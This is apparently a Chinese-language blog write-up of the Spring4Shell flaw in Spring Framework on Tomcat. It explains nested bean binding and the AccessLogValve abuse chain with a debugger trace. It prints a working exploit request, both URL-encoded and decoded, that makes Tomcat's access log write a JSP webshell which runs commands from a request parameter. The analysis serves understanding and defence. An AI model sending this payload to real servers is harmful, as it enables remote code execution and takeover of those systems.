一 影响版本

jdk9+
Spring 及其衍生框架
使用tomcat部署spring项目
使用了POJO参数绑定
Spring Framework 5.3.X < 5.3.18 SpringBoot请参照lib中的具体springframework版本

二 漏洞原理

2.1 spring嵌套类型绑定机制

在spring框架中,支持对传入参数的嵌套绑定,例如现在有两个实体类Bean:

public class CommonBean {
    public String common;
    public String getCommon() {
        return common;
    }

    public void setCommon(String common) {

        this.common = common;
    }
}
public class EvalBean {
    public EvalBean(){
        System.out.println("调用了evalbean.evalbean");
    }
    public String name;
    public CommonBean commonBean;
    public String getName() {
        System.out.println("调用了evalbean.getName");
        return name;
    }

相关Controller层代码如下:

@RestController
public class IndexController {
    @RequestMapping("/unnamed/index2")
    public void index(EvalBean evalBean, int id, String name){
        System.out.println("id: " + id);
        System.out.println("str: " + name);
        System.out.println(evalBean);
        evalBean.setName(name);
    }
    @RequestMapping("/")
    public void root(EvalBean evalBean){
        System.out.println(evalBean);
    }
}

运行项目,访问http://localhost:8080/unnamed/index2?id=2&name=paoche11

可以看到EvalBean并没有执行set/getCommonBean方法

使用http://localhost:8080/unnamed/index2?id=2&name=paoche11&commonBean.common=123

 可以看到调用了嵌套类CommonBean中的get/set方法

2.2 tomcat AccessLogValue机制

在tomcat下的server.xml中配置了一段关于AccessLogValue属性

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt" pattern="%h %l %u %t &quot;%r&quot; %s %b" />

可以看到这条属性适用于org.apache.catalina.valves.AccessLogValve类,其中提供了几个参数,分别是directory prefix suffix pattern 作用可以参考Tomcat官方网站的文档

相关链接Apache Tomcat 7 配置参考 (7.0.109) - 阀门组件

可以得出,如果可以控制AccessorLogValve类中的相关参数,即可以日志的形式,向指定Directory下写入指定后缀名和内容的shell

2.3关于BeanWarrperImpl

BeanWarrperImpl简单来说是一个用来封装执行对应类相应的值的赋值的类,也就是说底层的get/set方法实际上是交由BeanWarrperImpl类执行的,关于此漏洞知晓这些就够了,想了解可以看看另一个大佬的文章:

(28条消息) Spring源码解读之BeanWrapperImpl结构解读__微风轻起的博客-CSDN博客

2.4漏洞利用原理(重要)

到这里利用的原理背景介绍完毕,具体的思路是通过Bean的嵌套机制,想办法获取到修改org.apache.cataline.AccessLogValve类的getset方法,并对其中的关键参数进行复制,这样在tomcat加载此类的时候便会生成相应的shell文件。

三 Poc分析 

Poc抄了网上一个现成的进行分析,Poc如下:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

带Poc包如下:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Upgrade-Insecure-Requests: 1

 分析Poc为URL编码过的,解码后拆解为五个参数:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

无疑最后的pattern,suffix等都是我们AccessLogValve中的参数,那么究竟是怎么获取到这些类的呢?

使用Debug模式,追溯参数流向:

第一个断点在WebDataBinder类的doBind方法

 进入doBind方法,来到DataBinder类的doBind方法

使用相似方法进行debug,最后确认参数调用链为

WebDataBinder.#doBind --> DataBinder.#doBind --> DataBinder.#applyPropertyValues --> AbstractPropertyAccessor.#setPropertyValues --> AbstractNestablePropertyAccessor.#getPropertyAccessorForPropertyPath <--在这个方法里进行赋值

重点getPropertyAccessorForPropertyPath

在该方法中,允许参数通过递归迭代的方式来获取链式路径,每一轮的迭代调用链如下:

AbstractNestAccessor.#getPropertyAccessorForPropertyPath --->  AbstractNestAccessor.#getNestedPropertyAccessor  ---> AbstractNestablePropertyAccessor.#getPropertyValue ---> BeanWarpperImpl.#getValue --> 最后invoke相关方法

第一轮迭代:

  

 

第一轮迭代参数:
    this:org.springframework.beans.BeanWrapperImpl: wrapping object [Bean.EvalBean@44a6b92e] EvalBean的BeanWarrperImpl实例对象
    propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.directory 待解析的参数

    pos:5 代表这是解析第一轮位置

    nestedProperty:class 解析名

    nestedPath:module.classLoader.resources.context.parent.pipeline.first.directory 下一轮解析名
调用了java.lang.class.getClass()

第二轮迭代参数:
    this:org.springframework.beans.BeanWrapperImpl: wrapping object [java.lang.Class@540958fd] Class的BeanWarrperImpl实例对象

    propertyPath:module.classLoader.resources.context.parent.pipeline.first.directory 待解析的参数

    pos:6 代表这是解析第二轮位置

    nestedProperty:module 解析名

    nestedPath:classLoader.resources.context.parent.pipeline.first.directory 下一轮解析名
调用了class.getModule()

可以看到每一次this中都是BeanWrapperImpl作为实现类去报过相应的对象,这个类的作用见版块二漏洞原理中的相关知识,继续迭代

第三轮迭代参数:
    this:org.springframework.beans.BeanWrapperImpl: wrapping object [java.lang.Module@3895002e] Module的BeanWarrperImpl实例对象

    propertyPath:classLoader.resources.context.parent.pipeline.first.directory 待解析的参数

    pos:11 代表这是解析第三轮位置

    nestedProperty:classLoader 解析名

    nestedPath:resources.context.parent.pipeline.first.directory 下一轮解析名

调用了Module.getClassLoader();

这里调用了类加载器,再往后的迭代直接给出不说明了

第四轮迭代:
    this:{BeanWrapperImpl@6585} "org.springframework.beans.BeanWrapperImpl: wrapping object [org.apache.catalina.loader.ParallelWebappClassLoader@70fbaaac]"
    propertyPath:"resources.context.parent.pipeline.first.directory"
    pos:9
    nestedProperty:"resources"
    nestedPath:"context.parent.pipeline.first.directory"
调用了ParallelWebappClassLoader.getResources();
第五轮迭代:
    this = {BeanWrapperImpl@6654} "org.springframework.beans.BeanWrapperImpl: wrapping object [org.apache.catalina.webresources.StandardRoot@7771c0fc]"
    propertyPath = "context.parent.pipeline.first.directory"
    pos = 7
    nestedProperty = "context"
    nestedPath = "parent.pipeline.first.directory"
第六轮迭代:
    this = {BeanWrapperImpl@6687} "org.springframework.beans.BeanWrapperImpl: wrapping object [org.apache.catalina.core.StandardContext@e6330ad]"
    propertyPath = "parent.pipeline.first.directory"
    pos = 6
    nestedProperty = "parent"
    nestedPath = "pipeline.first.directory"
第七轮迭代:
    this = {BeanWrapperImpl@6730} "org.springframework.beans.BeanWrapperImpl: wrapping object [org.apache.catalina.core.StandardHost@50cd0db7]"
    propertyPath = "pipeline.first.directory"
    pos = 8
    nestedProperty = "pipeline"
    nestedPath = "first.directory"
第八轮迭代:
    this = {BeanWrapperImpl@6768} "org.springframework.beans.BeanWrapperImpl: wrapping object [org.apache.catalina.core.StandardPipeline@78fe3ad3]"
    propertyPath = "first.directory"
    pos = 5
    nestedProperty = "first"
    nestedPath = "directory"
第九轮迭代:
    this = {BeanWrapperImpl@6696} "org.springframework.beans.BeanWrapperImpl: wrapping object [org.apache.catalina.valves.AccessLogValve@59cbd5af]"
    propertyPath = "directory"
    pos = -1
    由于pos=-1 跳出循环 return this

跳出循环,此时this为org.apache.catalina.valves.AccessLogValve的BeanWrapperImpl实现类,也就是说可以使用相应的get/set方法对其中的参数进行更改,所以我们传入的参数实际是被修改到了这个类中,而我们传入了五个参数,所以以上九轮迭代还要再进行4次。至此漏洞完成,辛苦了。

 

更多推荐